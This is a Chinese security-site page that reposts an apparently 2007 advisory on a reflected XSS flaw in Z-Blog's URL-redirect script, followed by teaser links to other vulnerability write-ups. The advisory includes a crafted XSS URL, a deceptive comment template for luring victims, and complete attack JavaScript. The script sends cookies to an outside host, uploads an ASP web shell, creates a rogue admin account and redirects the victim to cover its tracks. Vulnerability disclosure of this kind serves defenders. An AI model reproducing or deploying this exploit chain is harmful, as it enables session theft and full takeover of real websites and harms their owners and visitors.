建站极客  
                        网络安全                          漏洞分析                          正文 
                     
                 
                
                    Z-blog跨站脚本攻击漏洞                 
                
                    所属分类:
                        网络安全  / 漏洞分析                      
                    阅读数:
                        169 
                    
                        
                                 
                             收藏 0
                                 
                             赞 0
                                 
                             分享 
                    
                 
                
                    漏洞说明:Z-Blog是一款基于Asp平台的Blog博客(网志)程序,支持 Wap,支持Firefox,Oprea等浏览器,在国内使用非常广泛,官方主页在http://www.rainbowsoft.org/。Z- blog代码严谨,前台功能简洁,后台功能强大,这为它的产品安全带来很大的优势,但是80sec在产品中发现一个严重的跨站脚本攻击漏洞,加上产品设计 上的一些问题可能带来严重的后果。
 
 漏洞厂商:http://www.rainbowsoft.org/
 
 漏洞解析:在FUNCTION/c_urlredirect.asp中,程序对提交的url参数做如下处理
 
 strUrl=URLDecodeForAntiSpam(Request.QueryString("url"))
 
 其中URLDecodeForAntiSpam是防止垃圾连接的解码函数,其函数处理如下
 
 Function URLDecodeForAntiSpam(strUrl)
 
 Dim i,s
 For i =1 To Len(strUrl) Step 2
 s=s & Mid(strUrl,i,1)
 Next
 URLDecodeForAntiSpam=s
 
 End Function
 
 在做如上处理之后程序将在c_urlredirect.asp输出url参数
 
 ...
 <meta http-equiv="refresh" content="0;URL=<%Response.Write strUrl%>“/>
 …
 精心构造url参数将能构造一个url类型的非持久xss如下:
 
 http://127.0.0.1/Z-Blog18/FUNCTION/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx:x"x>xxx
 
 上述url访问之后将引入127.0.0.1/1.js执行,其中可以写任意js代码。
 
 而z-blog的所有安全设计全部用来抵御前台的攻击,对于后台基本没有任何限制,加上antispam功能对用户提交的url连接类似于加密处理,所以很容易就可以诱惑别人访问上述的xss攻击url,可以发表评论如下:
 
 看这个站,有新东西?
 [URL=http://www.foo.com/function/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx:x"x>xxx]http://www.80sec.com[/URL]
 用户看到的是http://www.80sec.com这个信任的站点,而一旦点击将在www.foo.com域执行恶意用户指定的js,在该js里可以 写shell,添加用户,偷取COOKIE然后模拟出真正的转向,整个过程很难发现攻击的意图,80sec提供js如下:
 
 xmlhttp=poster();
 cookie=document.cookie;
 login=cookie.indexOf('password')==-1?0:1;
 tolocation='http://www.80sec.com/';
 
 //get cookie
 x=new Image();
 x.src="http://www.80sec.com/c.php?c=" escape(document.cookie);
 
 //get a shell
 data="txaContent=<%execute(request("a"))%>“;
 postmydata(”http://www.0×37.com/cmd.asp?act=SiteFilePst&path=./UPLOAD/index.asp&opath=”,data);
 
 //add a user data=”edtID=0&edtLevel=2&edtName=xss2root&edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&edtPassWordRe=xss2root&edtEmail=null@null.com&edtHomePage=&edtAlias=”;
 postmydata(”http://www.0×37.com/cmd.asp?act=UserCrt”,data);
 
 //fool the user
 window.location=tolocation;
 
 function poster(){
 var request = false;
 if(window.XMLHttpRequest) {
 request = new XMLHttpRequest();
 if(request.overrideMimeType) {
 request.overrideMimeType(’text/xml’);
 }
 } else if(window.ActiveXObject) {
 var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
 for(var i=0; i
 try {
 request = new ActiveXObject(versions[i]);
 } catch(e) {}
 }
 }
 return request;
 }
 
 function postmydata(action,data){
 xmlhttp.open(”POST”, action, false);
 xmlhttp.setRequestHeader(’Content-Type’, ‘application/x-www-form-urlencoded’);
 xmlhttp.send(data);
 return xmlhttp.responseText;
 }
 
 漏洞状态:已经联系官方,请等待官方公告。
 
 本站内容均为原创,转载请务必保留署名与链接!
 Z-blog跨站脚本攻击漏洞:http://www.80sec.com/zbog-xss.html
                                         
             
            
                
                2007年12月网络安全漏洞总结  声明:本十大安全漏洞由NSFOCUS安全小组根据安全漏洞的严重程度、影响范围等因素综合评出,仅供参考
  1.2007-12-11 Microsoft消息队列服务栈溢出漏洞
  综述:
  Microsoft Windows是微软发布的非常流行的操
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
OmniPCX Enterprise存在远程命令注入漏洞 受影响系统:  
Alcatel-Lucent OmniPCX Enterprise <= 7.1  
不受影响系统:  
Alcatel-Lucent OmniPCX Enterprise 7.1 patch F5.401.19  
Alcatel-Luc
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
Sun Java jpiexp32.dll对象名称含空指针引用漏洞 受影响系统: 
Sun JRE < 5.0 Update 14 
不受影响系统: 
Sun JRE 5.0 Update 14 
描述: 
Solaris系统的Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。  
JRE处理畸
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
InterBase和Firebird远程栈缓冲区溢出漏洞 受影响系统: 
Borland InterBase WI-V8.1.0.257 
Borland InterBase WI-V8.0.0.123 
Borland InterBase WI-V7.5.1.80 
Borland InterB
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
IE 存在document.open()方式地址欺骗漏洞 受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
Microsoft IE onunload事件地址栏欺骗漏洞 受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft Internet Ex
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
F2blog XMLRPC 上传任意文件漏洞 刚从官方下载的最新版:F2blog-v1.2_build_03.01_full
存在漏洞文件:xmlrpc.php,
影响:可上传任意文件到服务器。
原理:get_http_raw_post_data()是获取最原始的传递过来的数据,也是说不会因为PHP环境的ma
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
FTP客户端目录遍历漏洞可向任意位置写文件 FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件。  
    受影
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
                 查看更多